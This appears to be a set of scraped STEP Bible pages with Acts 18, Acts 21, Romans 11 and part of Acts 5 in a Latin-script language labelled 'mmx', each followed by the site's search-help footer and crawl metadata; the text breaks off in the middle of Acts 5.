Pol ga on basinge lemenemen Atens la gat pas uto Korin. 2 Mo go ni ga ekip tangarang mi laradi me Judaia laasen teren ne Akuila; lemenemen aulis teren Pontas. Ni ga nemen to Itali at lemenemen Rom eburu mi latkin teren ne Pirikila; ketla diga on basinge mo lemenemen, mila lakaisar ne Kolodias ga tong i ri limixin me Judaia xusu nedi axap dina vas kaxat basinge lemenemen Rom. Pol gat pas kusu na ven tidu, 3 la ni ga nemen midu la ga gugu eburu midu, mila neni gakleklen lugugu gu mi levengkadis, kerekngan du. La kerepmo diga lok kaka lempilas tidi. 4 Ni ga vavang amisik to at loogu singising at levenaleng kaala, gak lok tong pen i do na lok limixin me Judaia la me Grik dina nuunu.\n5 At lara laaleng ne Sailas mi ne Timoti duga rupot boro Masadonia, la melemu ne Pol ga raba levenaleng axap teren ti vavang mi Lagale Lavavang la ga tong i ri limixin me Judaia do ne Iesu, neni Lanarong. 6 Ketla limixin me Judaia diga lox abulubun i la diga vaase levelinga xapmek mumu i, la ni ga vaase lolos tidi la ga semla xepe laxakup at lavanga singsiga ren; la ni ga lok tidi, \"Do nemi mi xopara levelinga at ne Moroa, nemi xa minabap kip lumumuat teren. Kopmen bok ba toxot tarak ap mo i. Nia anat pas kusu ana vavang ti limixin kopmen di me Judaia.\"\n7 La ni ga on basinge di la ni gat pas kusu na nemen to at loogu at laradi xopmen neni me Judaia, laasen teren ne Tisias Jastas, neni ga lotu saparap ne Moroa; la loogu ren ga nemen saparap loogu singising. 8 Krispas, neni laradi gomgo ap mo loogu singising ga nuunu at Leeme Silok, neni la nedi axap diga nemen at loogu ren diga nuunu; la buaang bok atnedi go Korin diga ronga Lagale Lavavang, la diga nuunu la diga lok ka lesep susu.\n9 At lara laxanimin Pol ga ven lisilimet, la Leeme Silok ga lok tin, \"Nemen utak marat, ketla una vavang amisik la nemen uta doxoma abulubun la una ke xepe na lugugu rak, 10 mila nenia ak lox eburu minu, kopmen tara noxo lok empana i do na sev u, mila buaang nedi at na lemenemen, nedi limixin tarak.\" 11 Kuren la ne Pol ga nemen go at legesa maares mi lavanna gaaling, ga vanasa limixin mi levelinga at ne Moroa.\n12 At lara laaleng ne Galio ga nemen ngan lamgomgo at limixin to Grik, la limixin me Judaia, diga vot eburu la diga ranga alis ne Pol la diga lok ka i uto at lavapaase. 13 Diga lok, \"Na laradi i lok tong pen i do na lok pes lunuunu at limixin di lotu saparap ne Moroa la i anasa di mi lara langas petpes kopmen na sixit emu mi Lenavolo.\"\n14 Pol ga lok do na vaase, la ne Galio ga lok ti limixin me Judaia, \"Do ni ga lok laxakapmek, i epovo do nia ana ronga levelinga atnemi limixin me Judaia. 15 Ketla nemi mi paase mumu mene levelinga la levenasen at Lenavolo atnimi. Nia xopmen laradi rongtonga ri lempanga xerepmo. Nemi xa mina epaase mumu i nom.\" 16 La ni ga lox asu di ukamang basinge lavapaase. 17 Ketla diga ranga alis ne Sositenes, laradi gomgo at loogu singising, la digap sev i ro melamgo at loxot tongtonga linga. Galio ga ven i na, ketla ni ga ven kepe mun i.\nPol Gamlong Uto Antiok18 Pol ga nemen to Korin at levenaleng buaang; melemu ni ga on basinge luvuttadi nuunu la ni ga los kas at lavattaaxup la ni eburu mi ne Pirikila la ne Akuila diga sen uto Siria. Avot ti mo lavatpas, Pol ga lok laxakaape saparap ne Moroa to Senkiria, la ni ga gan pes levengkabinim at lavatlak teren. 19 Diga rupot to Epesas, la ne Pol ga on basinge ne Pirikila mi ne Akuila. Ni gat pas uto at loogu singising la neni eburu mi limixin me Judaia diga etep mi levelinga. 20 Diga sing i xusu neni na nemen eburu minedi at tevenaleng, ketla ni goxo siam. 21 La ni ga lok tidi, \"Mo do lavavara at ne Moroa, abamlong bok ude rinimi.\" La ni ga los kas at lavattaaxup la ga sen kaxat boro at lemenemen Epesas. 22 La ni ga rupot to Sisaria la gat pas uto Jerusalem la ga vot pasa mene limixin nuunu me go; melemu ni gat pas uto Antiok.\n23 Melemu at leventaba levenaleng at loklok teren go, ni ga vas kaxat, la gat pas maxeneng at lengkot axap, Galesia, la Pirigia, neni gak lox alolos limixin nuunu.\nApolos Ga Vavang To Epesas24 Lara laradi me Judaia laasen teren ne Apolos, neni boro Aleksandria, gat pas uto Epesas. Ni laradi levelinga ren ga lok nunuan amisik la ni gakleklen avukat levelinga at Lovoang Kaala. 25 Ni ga lok ka levelinga mumu langas at Leeme Silok, la ni ga ruuna langsangan lomomo xusu ni na anasa limixin mi levelinga mumu ne Iesu, la levelinga ren gak mokso. Ketla neni gaklen kusuk mun lesep susu at ne Jon. 26 Ni ga vaase lolos to xeneng at loogu singising. La ne Pirikila mi ne Akuila duga ronga i la duga lam ka i uto at loogu atdu. La duga soxomus avukat box i rin, mi langas nunuan at Leeme Silok.\n27 Apolos ga doxoma i do ni nat pas uto at lenep silok Grik; kuren la luvuttadi nuunu ro Epesas diga paase aronga i la diga malagan lovoang ti luvuttadi nuunu ro Grik; diga tong i ridi do dina siam ka i ugo. Ni ga rupot, la ni ga lok tooro avukat nedi mo diga nuunu at ne Iesu mi loklok tooro at ne Moroa. 28 At lemeren limixin axap ni ga volo aleng limixin me Judaia mi leete silok. Ni ga lox asuusu i at Lovoang Kaala do ne Iesu, neni Lanarong.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.18","date":"2018-10-18T23:06:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512015.74\/warc\/CC-MAIN-20181018214747-20181019000247-00038.warc.gz","language":"mmx","language_score":0.9999883175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999988317489624}","num_words":1143,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 21\nPol Gat Pas Uto Jerusalem1 Maga lox abeese limixin me Epesas mi lainbulu silok la maga on basinge di. Maga sen kaxat la maga sen epopolo uto Kos. Ap mo laaleng melemu maga rupot to Rodes, la maga sen kaxat mego uto at lemenemen Patara. 2 Mo go maga long lenget lara lavattaaxup, mo ga lok do na sen kaxat uto Pinisia; kuren la maga los kas ap mo lavattaaxup la maga sen kaxat. 3 Maga vot at lara loxot la maga ven losoxan Saipras, la maga sen polo i at lenep kia ap mo losoxan uto at lenep silok Siria. Maga oso ro Taia, mo go lavattaaxup ga oso xusu dina xip asu lentaba lempanga. 4 Maga long lenger i do lentaba luvuttadi nuunu mo diga nemen go, la maga nemen eburu minedi at lavanuti aleng. Mi lololos at Loroonan Kaala diga tong i ri ne Pol do ni noxot pas uto Jerusalem. 5 Ketla levenaleng atnama ri nemen go ga xap, la maga on basinge mo lemenemen silok. Nedi axap, eburu mi lavakin atnedi la laxaalik kakalik atdi, diga vas kaxat eburu minema uto loxon. Maga xis tiktikbu mi lempatgulom atnama ro loxon la maga lok lising. 6 Melemu diga xaduk aonon nema, la maga los kas at lavattaaxup la nedi digamlong ukolonu.\n7 Maga sen kaxat boro Taia la uto Potolemas, mo go maga vot pasa luvuttadi nuunu la maga nemen eburu minedi at leges aleng. 8 Ap mo lara laaleng melemu maga on basinge di la maga rupot to Sisaria. Mo go magat pas uto at loogu at laradi vapaase asu Lagale Lavavang, laasen teren ne Pilip, la maga nemen eburu min. Neni lara atnedi lavanuti luvuttadi no diga soxolik ka di ro Jerusalem. 9 Neni ga ruuna lavanuet laxaalik kovisi di goxo epot, mo diga vavang mi levelinga at ne Moroa.\n10 Maga nemen go at lentaba levenaleng, la lara leeme vapaase alii, laasen teren ne Agabas ga rupot boro Judaia. 11 Ni ga vosiga nama, la ga lok ka labaane at ne Pol, la ni ga xoxo ka lukngen ne Pol mi luxangkedek teren la ga lok, \"Loroonan Kaala i tong i do laradi at na labaane, limixin me Judaia diba xoxo i; diba lox i na ro Jerusalem, la diba song araba i ri limixin kopmen di me Judaia.\n12 Maga ronga i na la nema eburu mi lentaba me go maga ngising tinotno ne Pol do ni noxot pas uto Jerusalem. 13 Ketla ni ga lok, \"Lai nom nemi mik lox i, ming teng keretnom la mirak lox abulu lorooro rak? Nia a gagas pam kusu dinaba xoxo ia. La nia a gagas bok kusu ri met mo go Jerusalem kusu ri xip aurut laasen at Leeme Silok ne Iesu.\" 14 Ma goxo lox epovo i xusu ri ba gili lodoxoma ren, kuren la maga ke xepe i la maga lok, \"Lavavara at ne Moroa do ni na lox i xuren.\"\n15 Melemu at lentaba levenaleng maga nemen go, maga lok agagas li lempanga atnama la maga vas kaxat uto Jerusalem. 16 Lentaba luvuttadi nuunu boro Sisaria bok mo digat pas eburu minema, la diga lok ka nama uto at loogu at lara laradi, laasen teren ne Nason boro Saipras, neni lara atnedi diga lok ka avot lunuunu saparap Leeme Silok.\nPol Ga Ven Ti Ne Jems17 At lovotpot atnama go Jerusalem luvuttadi nuunu diga lok momo aleng minama. 18 Ap mo lara laaleng melemu nema mi ne Pol magat pas kusu mana ven ti ne Jems; la nedi axap luvuttadi amgomgo at lotu go Jerusalem diga rupot to ap mo lovotpot buru. 19 Pol ga paase momo rinedi la ga tong asu lempanga axap no ne Moroa ga lox i at lekngen kantubu at limixin kopmen di me Judaia.\n20 Melemu at levelinga at ne Pol, limixin diga emi asu mi ne Moroa. La diga lok ti ne Pol, \"Neton nama. U ven i do, buaang limixin me Judaia di nuunu, la nedi dim tebeng lolos Lenavolo. 21 La lentaba vetpes di tong i do, nenu mo uk lox ase leme Judaia mo dik lok at laramenemen at limixin kopmen di me Judaia, la u tong i ridi do dina ke xepe Lenavolo at ne Moses, la nemen nedi guta vit kepe lengkontuxu at laxamdak atdi la nemen diguta mumu asu leveloklok atnedik leme Judaia. 22 Dibaklen i do nenu mo u rupot pam. Ataba lok lavanga salai? 23 Una lok lempanga keretna. Lavanuet luvuttadi na diga xaape saparap ne Moroa. 24 Una lam ka di la una mu asu mo loklox eburu minedi xusu una dadat at lemeren ne Moroa, la una lok bok luunun ap mo loklok tinedi; kuren la diba epovo do dina gan kepe lempat kabinim at lempatlak atdi xusu dina lox epovo mo laxakaape atdi saparap ne Moroa. Kerepmo la limixin axap dibaklen i do mo levelinga mumu u xopmen na ruturun; la diba xasep do nenu ung tonga res at Lenavolo at ne Moses. 25 Ketla mara lox aonon pam levelinga ri limixin kopmen di me Judaia no diga nuunu. Mo levelinga i tong i ridi do di noxo anan teveluxa no diplavang min ti lempatpoovo moroa, la di noxo anan tavanga mi lada ren, la di noxo anan lempanga mi lavanuet kangkedek no diga xut amer i, la dina ke loklok ting longka tixin.\"\n26 Kuren la ne Pol ga lam ka di mo lavanuet luvuttadi la ga emu minedi la ap mo lara laaleng melemu ni ga lox epovo luunun tidi la diga gan kepe levengkabinim at lempatlak atdi. La ni ga beles to xeneng at loogu laplavang la ga vaase axasep lavanisa levenaleng ti laxavaxap ap mo loklok la at ua laaleng diba raba laramtaba atdi.\nLeme Judaia Diga Ranga Alis Ne Pol27 Levenaleng ap mo loklok ga lok do na xap ta, lentaba leme Judaia boro at lenep Asia diga ven ne Pol to xeneng at loogu laplavang. Diga lox axatu kaxat levendoxoma at limixin axap me go, la diga ranga alis i. 28 Digap kup keretna, \"Nemi limixin me Israel. Ude nimi la mina lok tooro nama. Anai laradi na it pas tangtagap at lengkot axap la ik lox ase limixin do dina lox abulubun kepe limixin me Judaia la dina ke xepe Lenavolo atdik la na loogu laplavang. La ana nga ira lok ka laradi xopmen me Judaia ukeneng at loogu laplavang la kerepmo i lok puvula na loogu xaala!\" 29 Diga tong i na mila diga ven ne Tropimas boro Epesas eburu mi ne Pol to xeneng ap mo lemenemen silok, la diga nua i do ne Pol ga lam ka i uto xeneng ap mo loogu laplavang.\n30 Mo lemenemen silok axap ga umsu mi langsangan leedak, la limixin digak sixit eburu, la diga ranga alis ne Pol la diga sat ka i ukamang basinge loogu laplavang. La soso mun diga vipe lumusaragu ap mo loogu laplavang. 31 Mo limixin diga lok tong i do dina sep ne Pol la soso mun lara laradi ga lox aonon levelinga ri leeme gomgo at limixin esep boro Rom do limixin axap go Jerusalem mo diga lok lekarakat. 32 La soso mun mo leeme gomgo ga lok ka lentaba digak lok mu ren la lentaba limixin esep la diga sixit uto saparap mo limixin. Mo limixin diga ven mo leeme gomgo eburu mi limixin esep, la diga xap ta lesepsep ne Pol.\n33 Leeme gomgo ga vas saparap ne Pol, la ga ranga alis i, la ga tong i ri limixin esep do dina xoxo i mi luvaroos sen. La ni ga sue, \"Nege i na laradi, la lavanga salai mo ni i lox i?\"\n34 Lentaba xeneng atdi mo limixin diga tong lara levelinga vetpes. La lentaba diga tong leta lepelinga vetpes bok, langsangan lekarakat silok ga vot, la mo leeme gomgo goxo lox empana i do naklen ka lavasuun at na leedak; kuren la ni ga tong i ri limixin teren kusu dina lam ka ne Pol uto at loogu lolos atdi. 35 Diga emu min uto at laata at loogu, la limixin esep diga xip ka i mila limixin diga musak aleng. 36 Diga mumu asu i la digap kup keretna, \"Sev amer i!\"\nPol Ga Vaase37 Mo limixin esep diga lok do na lok ka ne Pol uto at loogu lolos la ni ga lok ti leeme gomgo mi lavapaase Grik, \"I epovo bok do ana tong tevelinga ru?\"\nMo leeme gomgo ga rakdu la ga sue i, 38 \"Kereva. Nenu xopmen mo laradi boro Isip? At lentaba levenaleng ga xap pam, neni ga lok kaxat leesep eburu mi lagavaman la gam gomgo rinedi lavanuet larabin sangsangaun kobot (4000) limixin esep uto at lamatbin.\"\n39 Pol ga lok keretna, \"Nenia lara at limixin me Judaia, boro at lemenemen Tasas at lenep Silisia; nenia me go ap mo lemenemen silok doxodok. A sing u do i epovo ana vaase ri limixin.\"\n40 Leeme gomgo ga siam do ni na vaase; kuren la ne Pol ga xatu kaxat to at laata ap mo loogu la ga sep makmak di. Diga lok pilo, la ne Pol ga vaase ridi mi lavapaase Ibru.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.21","date":"2018-10-18T21:54:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512015.74\/warc\/CC-MAIN-20181018214747-20181019000247-00062.warc.gz","language":"mmx","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999995231628418}","num_words":1650,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 11\nLebelemumu At Ne Moroa Ri Limixin Me Israel1 A sue bok keretna. Kereva, ne Moroa ga sok tixirixes kepe limixin tinotno ren? Kopmen tinotno! Nenia rinotno vam lara me Israel la nenia at livipisik li at ne Abaram la nenia at libibinat me Beniamin. 2 Moroa goxo sok tixirixes limixin teren, neni gara soxolik ka vam nedi ganoxa at lurutu kaxat. Mina doxoma bok loxot ik lok at Lovoang Kaala i paase mumu ne Elaisa la at loxonaleng neni ga vaase ri ne Moroa mumu luruptuvuk at leme Israel? Ni ga lok keretna,\n3 \"Leeme Silok, digara sev amet pam lavaeme vapaase alii ram la digara ut asi levengkonin laplavang taram; kuren la nenia xusuk ta na legesara ak lok, la mo manga diak lok tong i do dina sev amer ia.\" a\n4 Lovoporang sala ne Moroa ga raba i min? Ni ga vorang i rin keretna,\n\"Nenia move a ruuna lavanuti larabin sangsangaun kobot (7000) limixin di kox ia la kovisi dina lotu saparap lomoroa xaxarang ne Baal.\" b\n5 Mo levenaleng i lok ngan pam na levenaleng it pot ningina, lentaba mun ne Moroa ga soxolik ka vam nedi keneng at letaba nabalamu ren. 6 Losoksoxolik teren i tu at letaba nabalamu ren, la kopmen do at levempanga nedi diga lox i. Do losoksoxolik at ne Moroa gita ru at levempanga luvuttadi dik lox i, giba lok ngan do letaba nabalamu ren, kopmen tugugu ren.\n7 Kuren la limixin me Israel di goxo vuse ka lorooro nunuan no nedi diga puse rin. Lenep binam tadi lixilik mene nga no ne Moroa ga soxolik ka nedi, nedi diga vuse ka i; la nedi axap nom, levenbaalung atnedi ga repe ri lorotoro at ne Moroa. 8 I ngan Lovoang Kaala i vaase xeretna,\n\"Moroa ga lox angtangku levempeve atnedi eburu mi levendoxoma atdi; di noxo reven mi levengkatli atdi xopla dinang tonga mi levenbaalung atdi i se nga mo lingina.\" c\n9 La ne Devit ga vaase bok keretna,\n\"Keke di, dinak sak baba la leveloklox anarong ne Moroa ga raba di min naba xap, la dina subu la dina lok ka losongsongot. 10 Keke levengkatli atdi nam pamet kusu di noxo reven; la levesi atdi na kauk amisik maxopok at levenaknixip atnedi.\" d\n11 Ana sue bok mi lara lususue. Kereva, limixin me Judaia digak sak kikixin mene nga xopla diga subu epopolo? Digak sak kikixin mene nga. Nedi diga lok laxakapmek, kuren la loklox arooro gat pas tinedi limixin kopmen di me Judaia, kusu ri lok leme Judaia dina puse ri ne Moroa. 12 Kerepmo laxapmek at leme Judaia ga lox asuusu leveloklox anarong ti limixin at na lavatbung menemen axap; labaava atnedi ga lox asuusu leveloklox anarong ti limixin kopmen di me Judaia. Ketla laxaloklox anarong naba umsu aleng ap mo laaleng do leme Judaia dina nuunu la dina beles keneng at leexes at ne Moroa.\nLoklox Arooro Ti Limixin Kopmen Di Me Judaia13 Nia a paase nga na rinemi limixin kopmen nemi me Judaia. I ngan ta do nenia laradi vavang ti limixin kopmen di me Judaia la a momo ri lok na lugugu rak. 14 Nia a lok do mo lugugu rak naba lok bok limixin tinotno rak dinaba vaase mumu ia, kuren la anaba lox epovo i xusu ana lok ka amlong teventaba atdi. 15 At levenaleng ne Moroa ga lok kepe nedi, neni ga vaxat ka limixin at na lavatbung menemen saparav i. Naba lok avukat tinotno do ne Moroa na lox amlong ka leme Judaia. Naba lok ngan ta do luvuttadi met di roo xat amlong ti lorooro. 16 Do di raba toxongkide avot ti ne Moroa, mo axap bok lakde, ateren; la do di raba box i mi levenixe una, levengkakan bok at luuna ni at ne Moroa.\n17 Lentaba levengkakan at luuna olip toonu ga repit su basinge luuna ren, la levengkakan at luuna olip aaxa boro at laxairing gara ru kun ta i. Nemi limixin kopmen nemi me Judaia mi lok ngan na levengkakan una aaxa, la na nga mi lolos la mipnovos at lorooro at loroonan atnemi xerekngan leme Judaia. 18 Kuren la nemen gat mita simi aurut nimi mavana ap mo lentaba lengkakan diga subu, atla nemi lengkakan mene nga; la nemi xopmen levenixe una, atla levenixe una ik lox alolos nimi. 19 La nemi minaba lok keretna, \"I ruturun, ketla levengkakan ga repit pes la di lox avolo loxot tinama.\" 20 I ruturun. Diga repit pes atla di goxo nuunu, la nemi miga ru kun nedi atla nemi miga nuunu. Ketla nemen gat miguta doma i do mi silok; mina lok tatao nimi kusu nemi bok mi noxo subu. 21 Ne Moroa goxo ke atnaasan bok leme Judaia do lengkakan tinotno ba ren; kereva, mi lok do ni naba ke atnaasan bok nimi?\n22 Kuren la mina ven kisip ba i do ne Moroa i belen tuntun la i tu bok mi loboat. Neni i tu mi loboat tinedi diga subu vam, ketla i belen tuntun tinimi do nemi move mik lok keneng at lebelen tuntun teren; ketla do mixok lok bok keneng teren, minaba repit pes bok. 23 La do leme Judaia dina lok kepe lumun nuunu atdi, dinaba ru amlong to at levengkot nedi diga tu ve gano, atla ne Moroa i epovo ri lok li amlong bok nedi. 24 Nemi limixin kopmen nemi me Judaia mi lok ngan laxakan at luuna olip aaxa no ga repit pes la ira ru manga rovana at luuna olip toonu. Ga lolos aleng ti lok mo langas. Limixin me Judaia di lok ngan lengkakan at luuna olip toonu, kuren la ne Moroa i epovo rinotno do na vaxaru amlong lengkakan no ga repit su, atla ni na lok li amlong di ro at luuna akmokso atdi.\nLebelemumu At Ne Moroa Ti Limixin Axap25 Luvutnetak mi luvurinuk. Levelinga ruturun mo ik lox alipe, la a vara i do minaklen i. La ni naba rupe levendoxoma atnemi la mina doma i do lakleklen atnimi i volo lentaba vetpes. Mo levelinga i lok keretna; loonon taba aralu at limixin me Israel basinge ne Moroa noxok lox abao, naba se mun do buaang timixin kopmen di me Judaia dina rem gili saparap ne Moroa. 26 La melemu at na, limixin axap me Israel dinaba roo suu basinge loklok nedi digak lok teren. I ngan Lovoang Kaala i tong i xeretna,\n\"Laradi Loklox Arooro naba laa boro Saion, la na lok kepe laxaloklok kakapmek at livipisik li at ne Jakop. 27 Anaba lok na lekabus eburu minedi at loxonaleng nia ana doxoma kepe laxakapmek atnedi.\" e\n28 La limixin me Judaia diga xopara Lagale Lavavang, kuren la di lok ngan lavamunepen at ne Moroa la di ru kun tinemi limixin kopmen nemi me Judaia. Ketla mumu mun losoksoxolik axa at ne Moroa, nedi di lok ngan axa larapen tangas teren mumu loxongkulao silok atnedi me gano. 29 Moroa kopmen na baba pukus lodoxoma ren tinedi, kuren la neni noxo lok kepe limixin soksoxolik ka ren la leveloklox anarong ni ga raba di min. 30 Nemi limixin kopmen nemi me Judaia, nemi miga ronga xepe avot ne Moroa; ketla ana mira ruuna ka vam lebelemumu ren atla leme Judaia diga ronga xepe i. 31 I sixit emu mene nga xeretna; nemi mira ruuna ka vam lebelemumu at ne Moroa, limixin bok me Judaia mo nga ding tonga xepe ne Moroa, nedi bok dinaba ruuna ka lebelemumu ren. 32 La ne Moroa gara lok li vam limixin axap at loxokoxo at lorongtonga xepe, kusu neni naba lox asuusu lebelemumu ren tinedi axap.\nLeemi Asu Ri Ne Moroa33 \"Lapnovos at ne Moroa i silok aleng. Lodoxoma ren la lakleklen teren i si aleng. Nege i epovo xusu na soxomus lavasuun at lodoxoma ren? Nege i epovo xusu naklen avukat leventaangas teren? 34 Nege iklen lodoxoma at Leeme Silok? Nege i epovo xusu na vaase aklen i? 35 Nege gata raba vam i mi tepanga, xusu neni giba vorang amlong i rin? 36 Levempanga axap neni xa ga rudum li di, la levempanga axap ga ravasu mumu xa i la ateren axa, la ata emi asu mi laasen teren amisik la kopmen taxavaxap teren. Tuturun.\" f\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.11","date":"2018-10-15T12:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509196.33\/warc\/CC-MAIN-20181015121848-20181015143348-00353.warc.gz","language":"mmx","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000014305114746}","num_words":1492,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 5\nAnanias Mi Ne Sapira1 Ketla lara laradi laasen teren ne Ananias eburu mi latkin teren ne Sapira. Ni ga sesep mi loxongkangka atdu, 2 ketla ni ga ranga alis lenep unun ap mo levempilas do tin; latkin teren gakleklen i, la ni ga raba lenep uto ri luvuttadi vavang.\n3 Pita ga lok tin, \"Ananias, tila u siam abeles ne Satan ia umsu at lodoxoma ram? La ia lok u, ura xarang Loroonan Kaala, la ura ranga alis bok lenep pilas ap mo luunun uga lok ka i ap mo loxongkangka. 4 Avot nu goxovisi sesep min, ga taram axa; la melemu nu ga sesep min, levempilas bok ataram. Tila ba nenu u doxoma i do una lok na loklok? Nu xopmen una xarang limixin, nenu u xarang ne Moroa!\"\n5 Ananias ga ronga i na la ga subu si ukopok la ga met; la nedi axap diga ronga i na, la diga marat aleng. 6 La luvuraau maxat diga beles ukeneng la diga bom labantuxu ren, diga xip asu i ukamang la digak mir i.\n7 Melemu lixilik latkin teren ga vubeles, ketla ni goxoklen i do latlok teren ga met pam. 8 Pita ga lok tin, \"Una tong i ria; kereva nai luunun axap nemu mi latlok taram muga ranga ka i ap mo loxongkangka?\"\nLa ni ga siam la ga lok, \"I ruturun, luunun axap.\"\n9 La ne Pita ga lok tin, \"Tila nemu mi latlok taram mu doma i do muna lok tong pen Loroonan Kaala at Leeme Silok? Limixin no dik mit latlok taram no di tu at lumusaragu mo nga, la diba xip kaka box u ukamang.\"\n10 Ap mo mene loxonaleng ni ga subu saparap luxangkedek at ne Pita la ni ga met ta. Mo luvuraau diga beles ukeneng la diga ven i do latkin mo ga met, diga xip kaka i ukamang la digak mir i saparap latlok teren. 11 Langsangan lanmarat ga ravasu xantubu atnedi axap limixin nuunu la nedi bok mo diga ronga mo lavanga.\nLuvuttadi Vavang Diga Lok Lempanga Sangsangu12 Buaang lempanga sangsangu Leeme Silok ga lox i at levengkikngen di luvuttadi vavang teren kusu dina lox i xantubu at limixin. Nedi axap mo luvuttadi nuunu digat pot eburu amisik ngan loxonbinam tadi to at loxot laasen teren 'Loxot at ne Solomon.' 13 Mo limixin kopmen tunuunu atdi diga marat tik lox eburu minedi, keke i do buaang limixin diga lok ngangao aleng atdi. 14 Ketla buaang nedi limixin, lavatlok mi lavakin diga lok kaka lunuunu at Leeme Silok la diga beles at loxonbinam atdi. 15 Kuren la limixin diga lok kaka luvuttadi mekmeres mi levenora atdi uto at levengkonngas kusu do, ne Pita na vas polo, mo lamamau at lovoovo ren naba lok pavaa di. 16 La buaang nedi limixin diga vas kaxat boro at leven menemen saparap Jerusalem, diga lok kaka levenanmeres atdi, la nedi bok lubunggas ga suxuna nedi; la nedi axap diga lok avukat.\nLuvuttadi Vavang Diga Xip Levesongsongot17 Ketla lamaasa gomgo at lavamaasa ga xatu kaxat eburu minedi limixin teren; mo limixin diga tong nedi do lubung Sadiusi, diga umsu mi levereven peves ti luvuttadi vavang. 18 Diga ranga alis ka luvuttadi vavang la diga lok li nedi at loogu xokoxo. 19 Ap mo laxanimin laangelo at ne Moroa ga suang lumusaragu ap mo loogu xokoxo la ni ga sat asu di ukamang la ga lok tidi, 20 \"Uto nimi at loogu laplavang la mina tong asu Lagale Lavavang mumu lorooro maxat.\"\n21 Luvuttadi vavang diga ronga res la ga maxantamak suubu diga beles to at loogu laplavang la diga vaxaru ka i xusu dina anasa limixin.\nLamaasa gomgo eburu mi limixin teren, diga ro bubua ka lubung amgomgo at lubungmixin me Judaia kusu nedi axap dina lok lavapaase silok; la diga lox aonon levelinga uto at loogu xokoxo xusu dina lok taba nedi mi luvuttadi vavang. 22 Ketla at loxonaleng diga rupot di goxo ven luvuttadi vavang to at loogu xokoxo; kuren la digamlong uto at luvuttadi amgomgo xusu dina tong axasep nedi min. 23 Diga lok keretna, \"At loxonaleng ma rupot to at loogu xokoxo, ma ven i do i tu pipe rinotno, la nedi mo luvuttadi rutu mu mo bok di tu at lumusaragu; la ma suang mo lumusaragu la nema maxo ven tara go xeneng.\" 24 La mo lavamaasa silok la laradi gomgo at luvuttadi rutu mu diga ronga i na la diga rangku do lai mo ga rupot saparap mo luvuttadi vavang.\n25 La lara laradi ga rupot la ga lok tidi, \"Mina ronga i na. Luvuttadi mita lok li di itinongo ro at loogu xokoxo no di tu at loogu laplavang la dia anasa limixin.\" 26 Kuren la laradi gomgo ga vas kaxat eburu mi luvuttadi rutu mu la diga lam ka amlong luvuttadi vavang. Kopmen di goxo sep nedi mila diga marat do 